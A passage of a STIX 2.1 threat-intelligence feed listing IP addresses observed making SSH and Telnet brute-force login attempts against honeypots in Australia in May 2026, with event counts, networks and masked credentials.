      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, D******6, e*****o, f******3.",
      "id": "indicator--b467fd79-3e76-4ecc-89eb-5be16e556f20",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.153.17.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3****3, 3***********4, 3**********4, D******6, Q*******0.",
      "id": "indicator--ee01e001-bba0-44f1-ba32-9eca8eb59572",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.159.39.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 188. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 3****3, Q*******0, a**h.",
      "id": "indicator--8c08cce6-0054-44fc-bdb7-eee2f803644a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.163.97.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 182. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, P*******., c****e, d****3.",
      "id": "indicator--bf201a68-9818-47c5-bd4d-4de55799f852",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.163.98.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BG. ASN(s): 8866. Organisation(s): Vivacom Bulgaria EAD.",
      "id": "indicator--83b53520-1ec4-4ae6-87dc-1512a43d922c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.10.74.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--664399c9-7121-4b04-bb66-d2116965740d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.62.202.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 3352. Organisation(s): Telefonica De Espana S.a.u..",
      "id": "indicator--8b53dedc-5abc-4625-83a0-ae834d9c7a12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '81.47.8.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 266. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 29447. Organisation(s): Scaleway SAS. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, 1******6, 1******@, 1**********Y.",
      "id": "indicator--bf1ef00b-0942-4559-bf2a-c7f5f8139f19",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '81.57.15.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 3352. Organisation(s): Telefonica De Espana S.a.u..",
      "id": "indicator--040a6fdb-d5f7-490a-a8b5-4aa8e16fa09a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '83.48.192.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T23:15:11.000Z",
      "valid_until": "2026-06-19T23:15:08.000Z"
    },
    {
      "created": "2026-05-19T00:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): a****1, r**t, t**t. Passwords observed (masked): L*******4, a******3, t******t.",
      "id": "indicator--412a1928-b0c2-4d95-82ea-160cee0d6088",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.32.109.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T00:15:07.000Z",
      "valid_until": "2026-06-20T00:15:03.000Z"
    },
    {
      "created": "2026-05-19T00:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--01e20da4-36fa-44d4-9614-37a668c9e330",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.6.167.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T00:15:07.000Z",
      "valid_until": "2026-06-20T00:15:03.000Z"
    },
    {
      "created": "2026-05-19T00:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--e54e6ee1-6b08-47b2-8283-2ef3ecafd0f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '140.75.241.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T00:15:07.000Z",
      "valid_until": "2026-06-20T00:15:03.000Z"
    },
    {
      "created": "2026-05-19T00:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 196. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 61400. Organisation(s): Start2 LLC. Usernames observed (masked): r**t, 3**********4, **, a***e, c****e. Passwords observed (masked): ***, 1**4, 1*********p, 3***********4, 3**********4.",
      "id": "indicator--40df6306-d4d7-4755-874c-d82f17f9f2f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.40.30.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T00:15:07.000Z",
      "valid_until": "2026-06-20T00:15:03.000Z"
    },
    {
      "created": "2026-05-19T00:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 26599. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--41b03dc9-7326-47d9-999d-0cc1fe5fcb4f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.116.249.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T00:15:07.000Z",
      "valid_until": "2026-06-20T00:15:03.000Z"
    },
    {
      "created": "2026-05-19T00:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--e7a93ff4-4a3d-4ebf-89ee-cfca50e9e5a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.205.45.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T00:15:07.000Z",
      "valid_until": "2026-06-20T00:15:03.000Z"
    },
    {
      "created": "2026-05-19T00:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 22085. Organisation(s): Claro SA.",
      "id": "indicator--2e10104f-bf98-4fe6-8b02-e1555ffb83ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '191.245.168.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T00:15:07.000Z",
      "valid_until": "2026-06-20T00:15:03.000Z"
    },
    {
      "created": "2026-05-19T00:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--a00edaa2-bb39-430b-9f99-f999968d7b5f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.127.251.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T00:15:07.000Z",
      "valid_until": "2026-06-20T00:15:03.000Z"
    },
    {
      "created": "2026-05-19T00:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--2f991137-c2ab-408d-9439-fbfd363a916a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.231.107.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T00:15:07.000Z",
      "valid_until": "2026-06-20T00:15:03.000Z"
    },
    {
      "created": "2026-05-19T00:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--c05cb006-89d4-4c51-90eb-41967c9e51f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.231.115.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T00:15:07.000Z",
      "valid_until": "2026-06-20T00:15:03.000Z"
    },
    {
      "created": "2026-05-19T00:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--2c0a987d-cd7e-4e63-8291-d54f8ccf4f5b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.231.116.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T00:15:07.000Z",
      "valid_until": "2026-06-20T00:15:03.000Z"
    },
    {
      "created": "2026-05-19T00:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 27843. Organisation(s): WIN EMPRESAS S.A.C.. Usernames observed (masked): r**t. Passwords observed (masked): u****u.",
      "id": "indicator--fd7d943e-e5e0-44fa-8baf-85ebae446eb5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.19.159.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T00:15:07.000Z",
      "valid_until": "2026-06-20T00:15:03.000Z"
    },
    {
      "created": "2026-05-19T00:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, a****1, t**t. Passwords observed (masked): 3***********4, 3**********4, F******6, a******3, t******t.",
      "id": "indicator--83d00ba6-cb8b-4326-86f6-8923cbc64ef5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.153.47.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T00:15:07.000Z",
      "valid_until": "2026-06-20T00:15:03.000Z"
    },
    {
      "created": "2026-05-19T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PF. ASN(s): 9471. Organisation(s): ONATI.",
      "id": "indicator--6ce0c393-c467-4f0c-849a-609283434648",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '148.66.105.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T01:15:11.000Z",
      "valid_until": "2026-06-20T01:15:08.000Z"
    },
    {
      "created": "2026-05-19T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 1080. Source country: SC. ASN(s): 49870. Organisation(s): Alsycon B.V.. Passwords observed (masked): ***.",
      "id": "indicator--ddf341ab-b265-4e44-99b3-6d29268fe495",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T01:15:11.000Z",
      "valid_until": "2026-06-20T01:15:08.000Z"
    },
    {
      "created": "2026-05-19T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 26599. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--fb8a4374-2c9c-48c4-aafb-96b6ac687d8b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.115.137.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T01:15:11.000Z",
      "valid_until": "2026-06-20T01:15:08.000Z"
    },
    {
      "created": "2026-05-19T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--59732f45-c7b9-4693-ab25-8f5f8ec3a92c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.17.187.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T01:15:11.000Z",
      "valid_until": "2026-06-20T01:15:08.000Z"
    },
    {
      "created": "2026-05-19T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--db9a6f8a-e7d2-4fa4-962a-8d463bc7f3b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.46.182.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T01:15:11.000Z",
      "valid_until": "2026-06-20T01:15:08.000Z"
    },
    {
      "created": "2026-05-19T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 4230. Organisation(s): CLARO S.A..",
      "id": "indicator--cbff6618-80d4-48c1-b500-a88f1a633ae0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '191.58.234.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T01:15:11.000Z",
      "valid_until": "2026-06-20T01:15:08.000Z"
    },
    {
      "created": "2026-05-19T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 44034. Organisation(s): Hi3G Access AB.",
      "id": "indicator--b8b60e9e-0513-4eb7-8ca2-f6ff95e20826",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.70.53.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T01:15:11.000Z",
      "valid_until": "2026-06-20T01:15:08.000Z"
    },
    {
      "created": "2026-05-19T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--635a5d42-9a1b-4b8f-9f93-17b6c2082a7d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.0.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T01:15:11.000Z",
      "valid_until": "2026-06-20T01:15:08.000Z"
    },
    {
      "created": "2026-05-19T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--52bb4eed-bfee-49e1-a6bd-e2c4f7e15bf0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.3.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T01:15:11.000Z",
      "valid_until": "2026-06-20T01:15:08.000Z"
    },
    {
      "created": "2026-05-19T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--69e26472-ea4b-4bf6-a6ab-8cf861a441f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T01:15:11.000Z",
      "valid_until": "2026-06-20T01:15:08.000Z"
    },
    {
      "created": "2026-05-19T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--47b09a5d-760a-49ec-a21f-10b007987d77",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.100.20.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T01:15:11.000Z",
      "valid_until": "2026-06-20T01:15:08.000Z"
    },
    {
      "created": "2026-05-19T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--1dbce74f-6b92-45f6-b215-51e1db7979a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.114.101.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T01:15:11.000Z",
      "valid_until": "2026-06-20T01:15:08.000Z"
    },
    {
      "created": "2026-05-19T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--6f7fcd2e-988c-4531-ad46-f922567fd3bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '54.152.96.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T01:15:11.000Z",
      "valid_until": "2026-06-20T01:15:08.000Z"
    },
    {
      "created": "2026-05-19T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--20648bee-b5c1-468d-bb19-eb2684bd7a40",
      "labels": [
        "bruteforce"
      ],
